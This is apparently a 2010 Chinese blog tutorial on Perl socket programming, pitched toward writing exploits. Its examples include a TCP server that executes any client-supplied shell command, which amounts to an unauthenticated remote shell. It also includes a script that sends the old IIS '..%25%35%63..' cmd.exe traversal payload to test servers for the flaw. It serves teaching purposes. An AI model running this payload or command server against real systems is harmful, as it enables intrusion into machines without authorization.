分类: LINUX
2010-09-03 10:19:44
Perl很强大,不仅能开发CGI方面的程序,还可以用它进行网络程序的开发。Perl使网络编程更简单,开发速度更快。目前Perl应用范围除了系统维 护,程序运行时配置CGI(现在应用的很少了),便是用来进行hacker脚本的编写。Perl脚本的特点是 “简练而强大”,非常适合写Exploit。在网络上可以找到很多国外hacker用Perl写的Exploit程序,而在国内就少了很多。由于大部分 Exploit程序都是网络方面的程序,因此本文将介绍如何使用Perl进行网络编程,通过一些小的例子来让大家熟悉Perl的网络编程。本文不会涉及到 具体漏洞利用的脚本,只是把Perl网络编程的一些基本概念介绍给大家。 希望大家能从本文中得到一些您需要的知识。 本文的约定:使用的IP地址为本地地址,所有程序均在ActivePerl5.61版测试通过。 本地IP:127.0.0.1 一、 几个网络方面的基本概念 本文主要针对初学者,所以本文在概念介绍上也将尽量使语言描述的通俗易懂,本文后面要涉及到的几个网络方面的基本概念如下: 协议:所谓的协议就是对进行通讯传输的2台计算机之间的应该共同遵守的一个行为准则或称行为规范。 TCP/IP协议:是定义了网络传输的一个协议。 UDP:用户数据报协议。UDP协议是TCP/IP协议组中传输层的协议,负责对网络传输进行控制。UDP具有不可靠性,但是手续简单。 套接字:套接字是一个类似于文件的句柄.通过建立套接字就可以对套接字进行读写操作。 二、走进Perl Perl的函数Socket的格式为:Socket(FILE,Domain,Type,Protocol); 其中: FILE 绑定一个套接字句柄(类似于打开文件的句柄); Domain 表示套接字的协议域类型。它可以定义为Internet域,其值为2,也可以定义为UNIX域,如果把这个变量赋值为1表示域的类 型为UNIX域。如果这个变量付值为2,则表示定义类型为Internet。我们常用的是的套接字协议族为Internet协议族。 Type 表示套接字类型,定义为SOCK_STREAM类型,表示的是基于流传输模式的TCP套接字。定义为SOCK_DGRAM类型,表示为基于简单数据传递的 UDP套接字。 Protocol 表示套接字的协议号,这个协议号可以通过Perl内置函数getprotobyname()得到。 三、第一个例子 例子介绍: 下面这个程序实是一个简单的使用udp协议的服务器程序,服务端程序在端口上监听,当有客户连接后它将返回一个数据给客户程序。 #注:如图1-1 1.UDP程序服务端 <1 #!/usr/bin/Perl <2 use strict; <3 my $PF_INET=2; <4 my $SOCK_DGRAM=2; <5 my $port=2222; <6 my $proto=getprotobyname('udp'); <7 my $addres=pack('SnC4x8',$PF_INET,$port,127,0,0,1); <8 my ($Cmd,$test); <9 socket(SOCKET,$PF_INET,$SOCK_DGRAM,$proto) or die "Can't build a socket"; <10 bind (SOCKET,$addres); <11 $test="test\n"; <12 while(1){ <13 my $rip=recv (SOCKET,$Cmd,100,0); <14 send (SOCKET,$test,0,$rip); <15 print "$Cmd"; <16 } 原代码解析: <1 Perl解释器的路径。 <2 使用严格的语法书写程序。 <3 定义为Internet域套接字。 <4 定义套接字类型为UDP。 <5 定义程序的进程端口(这样客户程序才能连接到远程的服务程序)。 <6 得到协议号,这里是使用getprotobyname函数得到UDP的协议号。 <7 声明变量。 <8 $addres定义了一个机器的地址(这个地址就是机器辨认其他机器的标志),这个地址为16字节.利用函数pack()把他转化为2进制格式.($ PF_INET)协议域是一个16位(2字节)无符号短整数值;($port)进程端口是一个16位短整形;IP地址是4个8位无符号字符.因为一个完全 的地址值是16字节,所以必须要用8个空字节补齐。 <9 建立一个套接字。 <10 绑定一个套接字(因为一个外部的机器必须知道你的具体位置,所以程序必须建立一个进程的端口号,这样外部的机器才能连接到这个服务程序) <11~16 建立一个真循环,不停地接收外部消息,通过recv函数得到消息(这个函数的返回值是远程客户的地址,通过该地址可以进行服务器和客户进行数据传输),在通过send函数与远程主机进行通讯。 四、第二个例子 例子介绍: 下面的程序是一个使用udp协议的客户端程序,客户端程序主动连接服务端,如果网络连通或不发生数据报丢失,将会得到服务器端的返回的数据。 下面我们看看使用tcp的例子,客户端程序是远程执行服务端命令的C/S结构的程序。服务端程序绑定一个端口,处理客户断的请求,并把处理后的数据返回给客户端,客户端程序通过发送一条消息给远程主机,并执行远程主机的dos命令,得到远程服务器的返回消息。 下面我们来看看代码: 2.UDP程序客户端 <1 #!/usr/bin/Perl <2 use strict; <3 my $PF_INET=2; <4 my $SOCK_DGRAM=2; <5 my $port=2222; <6 my $proto=getprotobyname('udp'); <7 my $data; <8 my $addres=pack('SnC4x8',$PF_INET,$port,127,0,0,1); <9 socket(SOCKET,$PF_INET,$SOCK_DGRAM,$proto) or die "Can't build a socket"; <10 bind (SOCKET,$addres); <11 send (SOCKET,$ARGV[0],0,$addres) or die "send false"; <12 recv (SOCKET,$data,200,0); <13 print "$data\n"; <14 if ($data) { <15 send (SOCKET,"Test",0,$addres) ; <16 } 客户端程序非常简单,唯一不同的是不建立循环等待连接. 五、第三个例子 例子介绍: 下面的程序是使用tcp协议的服务端程序,当客户端程序连接服务端程序,服务端程序根据请求的数据返回服务端上的相应数据,这里是返回的是在服务 端执行的dos命令的数据,例如c:\>client.pl \dir c:,将返回服务端执行dir c:后的数据给客户端程序。 3.Tcp程序服务端 <1 #!/usr/bin/Perl <2 #testservers <3 #servers.pl <4 # <5 use strict; <6 my $face=qq~ <7 ########################################## <8 # <9 #Perl_CMD <10 ########################################## <11 ~; <12 print $face; <13 undef $face; <14 my $port=23456; <15 my $PF_INET=2; <16 my $SOCK_STREAM=1; <17 my $proto=getprotobyname("tcp"); <18 my $ADDR=pack ('SnC4x8',$PF_INET,$port,127,0,0,1); <19 my $command; <20 $|=1; <21 socket (SERVERS,$PF_INET,$SOCK_STREAM,$proto) or die "can't build a socket"; <22 bind (SERVERS,$ADDR ) or die "can't bind a SOCK"; <23 listen(SERVERS,2); <24 for ( ;my $paddr=accept(CLINET,SERVERS) ;) { <25 recv (CLINET,$command,240,0); <26 print $command; <27 if ($command and $command=~/^\/\//) { <28 my @turndate=&dir($command); <29 foreach my $onedate (@turndate) { <30 send ( CLINET ,$onedate ,0);} <31 }else{ <32 print CLINET "Error CMD format\n"; <33 } <34 <35 } <36 close CLIENT; <37 sub dir { <38 my $cmd=shift; <39 $cmd=~s/^\/\/(.*)//; <40 my @turncmd=`$cmd`; <41 return @turncmd; <42 } 原代码解析: <1~13 定义一些程序中使用的变量,并赋初始值.使用use strict强制程序使用Perl的严格语法。 <14 定义服务端程序绑定的端口号。 <15 定义协议域为Internet类型。 <16 定义套接字类型为TCP。 <17 取得协议。 <18 对程序中使用的地址进行打包。 <19 定义一个取得客户端发来的数据的变量。 <20 关闭Perl的内部缓冲区,这样使我们的消息能够得到更高的优先级,立即把消息发送到远程主机。 <21 建立套接字。 <22 在本地绑定一个端口 ,这样远程的机器在连接程序的时候才能知道连接到底是哪个进程。 <23 允许在这个套接字上等待的队列数量。 <24 建立真循环,并接受请求,并把请求的地址绑定成一个文件句柄。 <25 通过accept函数得到句柄得到请求的数据。 <26 使用recv函数,取得连接的远程主机的消息。 <27 做判断,看是否是使用了内部约定的命令格式。 <28 执行命令。 <29~35 把处理后的数据返回给连接的客户端 。 <36 关闭与这个远程主机的连接。 <37~43 执行dos命令的子函数。 六、第四个例子 例子介绍: 下面的程序是使用tcp协议的客户端程序,当脚本servers.pl程序被运行后,它会在远程等待客户程序的连接,我们这里的 clinet.pl脚本就是针对上面程序写的客户端程序。例如:在dos命令输入c:\>perl clinet.pl \dir c:\ 这样服务器将返回远程主机c:\的下的所有目录的名字。 4.客户端程序 Tcp Programming <1 #!/usr/bin/Perl <2 #testclinet <3 #clinet.pl <4 # <5 use strict; <6 my $port=23456; <7 my $PF_INET=2; <8 my $SOCK_STREAM=1; <9 my $proto=getprotobyname("tcp"); <10 $|=1; <11 my $ADDR=pack('SnC4x8',$PF_INET,$port,127,0,0,1); <12 socket (SOCKET,$PF_INET,$SOCK_STREAM,$proto) or die "cna't socket"; <13 connect (SOCKET,$ADDR) or die "cna't link"; <14 my $cmd=join ("\t",@ARGV); <15 send (SOCKET,"$cmd",0); <16 while() { <17 print $_; <18 }; 原代码解析: <1~9 得到请求主机的端口,取得程序使用协议域,套接字类型,协议号等。 <10 关闭缓冲,使数据立刻发送出去,而不是放在本地的Perl缓冲区里。 <11 转换IP地址。 <12 建立套接字。 <13 连接远程主机。 <15 发送消息到远程主机。 <16~18 对远程主机的响应进行处理。 七、一个测试IIS漏洞的例子 例子介绍: 下面的程序是通过连接远程主机的ip地址,通过与主机建立tcp连接,并发送http的内部命令get和特殊编码的数据来测试远程的IIS服务器是否存在漏洞. 5.测试IIS漏洞程序 <1 #!/Perl/bin/Perl -w <2 use strict; <3 my $port=80; <4 my $PF_INET=2; <5 my $SOCK_STREAM=1; <6 my $proto=getprotobyname("tcp"); <7 my $open_or_close; <8 $|=1; <9 my $addres=pack('SnC4x8',$PF_INET,$port,127,0,0,1); <10 socket (SOCKET,$PF_INET,$SOCK_STREAM,$proto) or die "cna't socket"; <11 connect (SOCKET,$addres) or die "cna't link"; <12 send (SOCKET,"GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/ c+dir HTTP/1.0\n\n",0); <13 while( ) { <14 if (m/Directory/){ <15 $open_or_close=1; <16 } <17 } <18 if ($open_or_close eq "1") { <19 print "This IIS have the bug\n"; <20 }else{ <21 print "This IIS havn't the bug\n"; <21 } 原代码解析: 这里我只解析几个和实现验证IIS是否存在漏洞相关的程序片段。 <11 这里是连接远程主机的80端口(通常这个端口是分配给http服务)。 <12 通过与远程主机建立的套接字,发送一个http协议的命令“GET”给远程主机。 <13 得到远程主机返回的数据。 <14 进行测试,判断时候包含“Directory”字符,如果包含,就说明这个机器有这个漏洞。 <15~21 程序通过对变量$open_or_close的判断,验证IIS是否存在漏洞。当$open_or_close为”0”时表示IIS没有漏洞,为”1”时表示程序发现IIS存在漏洞。
chinaunix网友2010-09-05 15:02:44
Download More than 1000 free IT eBooks: http://free-ebooks.appspot.com